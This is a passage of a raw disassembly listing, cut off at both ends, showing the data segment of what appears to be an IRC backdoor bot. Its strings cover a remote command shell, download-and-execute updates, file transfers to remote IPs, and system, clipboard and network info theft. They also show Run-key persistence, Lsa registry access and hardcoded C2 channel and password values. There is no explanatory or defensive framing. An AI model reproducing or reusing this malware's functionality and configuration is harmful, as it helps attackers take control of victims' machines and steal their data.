:%s',0Dh,0 ; DATA XREF: sub_408AC9+33o dword_42760C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:loc_408C82o dd 2029206Ch, 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 10h dword_427650 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:00408C60o dd 2029206Ch, 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42768C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:loc_408C36o dd 2029206Ch, 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 10h dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 4 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: seg000:00408CC6o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_408E5A+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_408F79+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_408F79+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_408F79:loc_4090DDo align 4 word_42785C dw 3Fh ; DATA XREF: sub_408F79:loc_40907Br ; sub_40A725+1Fo align 10h dword_427860 dd 28207325h, 297325hdword_427868 dd 3F3F3Fh ; seg000:loc_4126A5o a2003 db '2003',0 ; DATA XREF: sub_408F79+BAo align 4 aXp db 'XP',0 ; DATA XREF: sub_408F79+AAo ; seg000:00412690o align 4 a2k db '2K',0 ; DATA XREF: sub_408F79+98o ; seg000:00412680o align 4 aMe db 'ME',0 ; DATA XREF: sub_408F79+7Eo ; seg000:00412667o align 10h a98 db '98',0 ; DATA XREF: sub_408F79+6Co ; seg000:00412657o align 4 aNt db 'NT',0 ; DATA XREF: sub_408F79+5Ao ; seg000:00412647o align 4 a95 db '95',0 ; DATA XREF: sub_408F79+46o ; seg000:00412639o align 4 aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40922D+ABo align 4 off_4278CC dd offset loc_412F4E ; DATA XREF: sub_40922D:loc_4092A1o dword_4278D0 dd 4E414Ch dword_4278D4 dd 6C616944h, 70752Dhdword_4278DC dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_4278EC db 2 ; DATA XREF: sub_4092F3:loc_4094ACo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 10h unk_427930 db 2 ; DATA XREF: sub_4092F3:loc_4094A5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 10h dword_427970 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_4092F3+1A0o dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h, 2064696Ch dd 2E4C5255h, 0 unk_4279A0 db 2 ; DATA XREF: sub_4092F3:loc_409486o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 10h dword_4279F0 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_4092F3+18Co dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h, 69736976h dd 2E646574h, 0 dword_427A20 dd 2A2F2Ah dword_427A24 dd 202E6425h, 3D207325h, 732520hdword_427A30 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_409615+60o align 4 dword_427A64 dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh ; DATA XREF: sub_4096B5+1Ao dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h dd 20353103h, 656C4320h, 64657261h, 2Eh dword_427A9C dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_4096F5+DCo dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh dd 2E657465h, 0 dword_427ACC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_4096F5+3Fo dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h dword_427AF0 dd 78h align 8 dword_427AF8 dd 80000002h, 428300h, 80000002h, 428330h, 80000001h, 428368h ; DATA XREF: sub_409824+7o dword_427B10 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_409824+63o dd 2029206Ch, 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_427B58 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:00409A8Ao dd 2029206Ch, 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_427B9C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:00409A26o ; sub_409BA0+FDo dd 2029206Ch, 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_427BD4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_409BA0+362o ; sub_409F42+156o dd 2029206Ch, 2BBBB02h, 6F532020h, 74656B63h, 72726520h dd 2E726Fh dword_427C00 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_409BA0+2FAo dd 2029206Ch, 2BBBB02h aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_427C54 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_409BA0+202o dd 2029206Ch, 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_427C8C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_409BA0+1CBo dd 2029206Ch, 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h dd 2E7475h dword_427CB8 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_409BA0+16Ao dd 169h dword_427CD0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_409BA0+127o dd 2029206Ch, 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_427D04 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_409BA0+82o dd 2029206Ch, 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_427D3C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_409BA0+44o dd 2029206Ch, 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_427D74 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_409F42+1CFo dd 2029206Ch, 2BBBB02h aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 4 dword_427DCC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_409F42+CBo dd 2029206Ch, 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_427E00 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_409F42+ABo dd 2029206Ch, 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 10h aAB db 'a+b',0 ; DATA XREF: sub_409F42+97o dword_427E44 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_409F42+83o dd 2029206Ch, 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 4 unk_427E88 db 2 ; DATA XREF: seg000:0040A610o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_427EC8 db 2 ; DATA XREF: seg000:0040A602o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_427F14 db 2 ; DATA XREF: seg000:0040A546o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_427F68 dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch ; DATA XREF: seg000:0040A4D5o dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h dd 25203A64h, 2E73h aOpen db 'open',0 ; DATA XREF: seg000:0040A4B3o ; seg000:0040DD92o ... align 10h unk_427FA0 db 2 ; DATA XREF: seg000:0040A45Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 4 unk_427FEC db 2 ; DATA XREF: seg000:0040A3DFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_428028 db 2 ; DATA XREF: seg000:0040A355o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 10h unk_428070 db 2 ; DATA XREF: seg000:0040A312o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_4280B4 db 2 ; DATA XREF: seg000:0040A300o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 10h unk_428100 db 2 ; DATA XREF: seg000:0040A1F4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40A725:loc_40A768o ; sub_41198B+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_40A725:loc_40A762o aDisk db 'Disk',0 ; DATA XREF: sub_40A725:loc_40A75Co align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40A725:loc_40A756o aCdrom db 'Cdrom',0 ; DATA XREF: sub_40A725:loc_40A750o align 4 aRam db 'RAM',0 ; DATA XREF: sub_40A725:loc_40A74Ao aFailed db 'failed',0 ; DATA XREF: sub_40A7B6:loc_40A88Eo ; sub_40A8D1+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40A7B6+6Bo align 4 dword_428178 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40A8D1+8Eo dd 2029206Ch, 2BBBB02h aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 dword_4281C8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40A8D1+58o dd 2029206Ch, 2BBBB02h aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 align 4 aA_0 db 'A:\',0 ; DATA XREF: sub_40A9A3:loc_40A9E8o dword_42821C dd 1A0Ch ; seg000:0040AFE8r dword_428220 dd 1A0Ch dword_428224 dd 1AA6h dword_428228 dd 0CCEh ; seg000:004101C8r dword_42822C dd 158Dh ; seg000:loc_4102BAr dword_428230 dd 1 dword_428234 dd 1 dword_428238 dd 1 ; seg000:loc_40AE4Cr byte_42823C db 78h ; DATA XREF: sub_40A66F:loc_40A67Br ; seg000:0040BE51r ... align 10h dword_428240 dd 9 ; sub_41242C+51r ... dword_428244 dd 1 ; seg000:0040B5D7r ... aVds017 db 'vds017',0 ; DATA XREF: seg000:0040AB7Ao ; seg000:0040F06Ao ... align 10h aEnz9_9b db 'enz 9.9b',0 ; DATA XREF: seg000:loc_410D69o align 4 aHi db 'hi',0 ; DATA XREF: seg000:00410EECo ; seg000:00410FBBo align 10h a1068346466 db '1068346466',0 ; DATA XREF: seg000:0040AF20o ; seg000:0040AFD9o align 4 aCc db '#cc',0 ; DATA XREF: seg000:0040AF41o ; seg000:0040AFEFo aDcpass db 'dcpass',0 ; DATA XREF: seg000:0040AF58o ; seg000:0040B001o align 4 byte_428278 db 31h ; DATA XREF: seg000:loc_40B017r ; seg000:0040B025o a068346466 db '068346466',0 align 4 aCc_0 db '#cc',0 ; DATA XREF: seg000:0040B03Bo aDcpass_0 db 'dcpass',0 ; DATA XREF: seg000:0040B04Do align 10h byte_428290 db 64h ; CODE XREF: seg000:loc_40ACEFp ; DATA XREF: sub_4032B0+3Eo ... db 69h, 72h, 74h dd 2E656C69h, 6D6F63h dword_42829C dd 636C6974h, 36316D6Fh, 6C6C642Eh, 0dword_4282AC dd 20726944h, 656C6954h, 0dword_4282B8 dd 2D315253h, 0 dd 74726964h, 33656C69h, 6F632E32h, 6Dh dword_4282D0 dd 692B782Bh, 0 dword_4282D8 dd 31727323h, 0 ; seg000:00410028o dword_4282E0 dd 737323h dword_4282E4 dd 737323h, 38373837h, 39h, 6464h, 2E6464hoff_4282F8 dd offset a@room ; DATA XREF: seg000:loc_410F48o ; "*@room" off_4282FC dd offset aMirc1_6_99 ; DATA XREF: seg000:0040BC21r ; seg000:00410F64o ; "mirc 1.6.99" db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_412A1E+28o ; sub_412D42+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_412A1E+D4o ; sub_412D42+D4o align 4 dd offset aAdministrator ; "Administrator" align 10h dd offset byte_42E348 align 8 dword_4283B8 dd 10h ; seg000:0040BEBBr ... aAdministrator db 'Administrator',0 ; DATA XREF: sub_41198B:loc_411A96o ; seg002:004283A8o align 4 aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: seg002:off_4282FCo a@room db '*@room',0 ; DATA XREF: seg002:off_4282F8o align 10h unk_4283E0 db 2 ; DATA XREF: seg000:0040AEFFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStartR db ' Failed to start registry thread, error: <%d>.',0 align 10h unk_428430 db 2 ; DATA XREF: seg000:0040AEAAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aRegistryMonito db ' Registry monitor active.',0 align 4 dword_42846C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040AE6Fo dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h dd 2E64h, 25207325h, 25222064h, 2273h dword_4284A4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40B07B+F2o dd 2029206Ch, 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40B1E3+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40B1E3+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0041103Co align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:00411027o align 4 dword_42851C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0041101Ao dd 2029206Ch, 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 10h dword_428550 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00410FFDo dd 2029206Ch, 2BBBB02h aPasswordAccept db ' Password accepted.',0 align 4 dword_428584 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00410F9Fo dd 2029206Ch, 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 dword_4285C4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00410F2Fo dd 2029206Ch, 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: seg000:00410F20o ; seg000:00410F90o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: seg000:00410F0Co ; seg000:00410F7Co align 10h asc_428650: ; DATA XREF: seg000:00410EDCo unicode 0, <~>,0 dword_428654 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00410E8Bo dd 2029206Ch, 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_42868C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00410DDDo dd 2029206Ch, 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_4286CC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00410DD2o dd 2029206Ch, 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 dword_42870C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00410D6Eo dd 2029206Ch, 2BBBB02h, 73252020h, 0 unk_428730 db 2 ; DATA XREF: seg000:00410D44o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStar_5 db ' Failed to start secure thread, error: <%d>.',0 align 10h dword_428780 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: seg000:00410CCEo dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h dd 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: seg000:00410CC8o align 4 aSecuring db 'Securing',0 ; DATA XREF: seg000:00410CC1o align 4 aSec db 'sec',0 ; DATA XREF: seg000:00410C66o aSecure db 'secure',0 ; DATA XREF: seg000:00410C55o align 10h unk_4287D0 db 2 ; DATA XREF: seg000:00410C4Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_6 db 'Failed to start server thread, error: <%d>.',0 dword_42881C dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_42882C dd 646E6946h, 6C696620h, 65hdword_428838 dd 72027002h, 1F631F6Fh, 2E2Ehdword_428844 dd 636F7250h, 20737365h, 7473696Ch, 0dword_428854 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00410AD8o dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h dd 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_410ACBo align 4 dword_428898 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00410AB6o dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh dd 2E676E69h, 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_410AA9o align 10h aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00410A81o align 4 dword_4288EC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00410A35o dd 2029206Ch, 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_42892C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004109F7o dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah dd 2Eh dword_428958 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:004109CCo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_4289A4 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:00410961o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h dd 61657268h, 2E7364h dword_4289D4 dd 627573h dword_4289D8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004108ECo dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch dd 2Eh dword_428A04 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: seg000:004108D1o dd 2029206Ch, 2BBBB02h aFailedToStar_7 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_428A50 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: seg000:00410844o dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h dd 2E67h dword_428A7C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004107C3o dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh dd 2E6F66h dword_428AA8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00410794o dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h dd 2E6Fh dword_428AD4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0041073Fo dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh dd 2E746Fh dword_428B00 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:0041072Co dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_428B50 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:004106BDo dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh dd 6C207373h, 2E747369h, 0 aFull db 'full',0 ; DATA XREF: seg000:0041069Do align 4 dword_428B8C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:00410646o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyRunning db ' Already running.',0 align 10h unk_428BC0 db 2 ; DATA XREF: seg000:0041061Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 64h, 6Bh, 65h db 79h ; y db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 4 dword_428BF4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004105CEo dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah dd 2Eh dword_428C20 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:loc_410531o dd 2029206Ch, 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_428C54 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:0041052Ao dd 2029206Ch, 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 10h dword_428C90 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:0041050Eo dd 2029206Ch, 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_428CCC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004104F8o dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h dd 2E647261h, 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: seg000:004104CAo align 10h unk_428D10 db 2 ; DATA XREF: seg000:loc_4104BAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 10h unk_428D50 db 2 ; DATA XREF: seg000:0041049Fo db 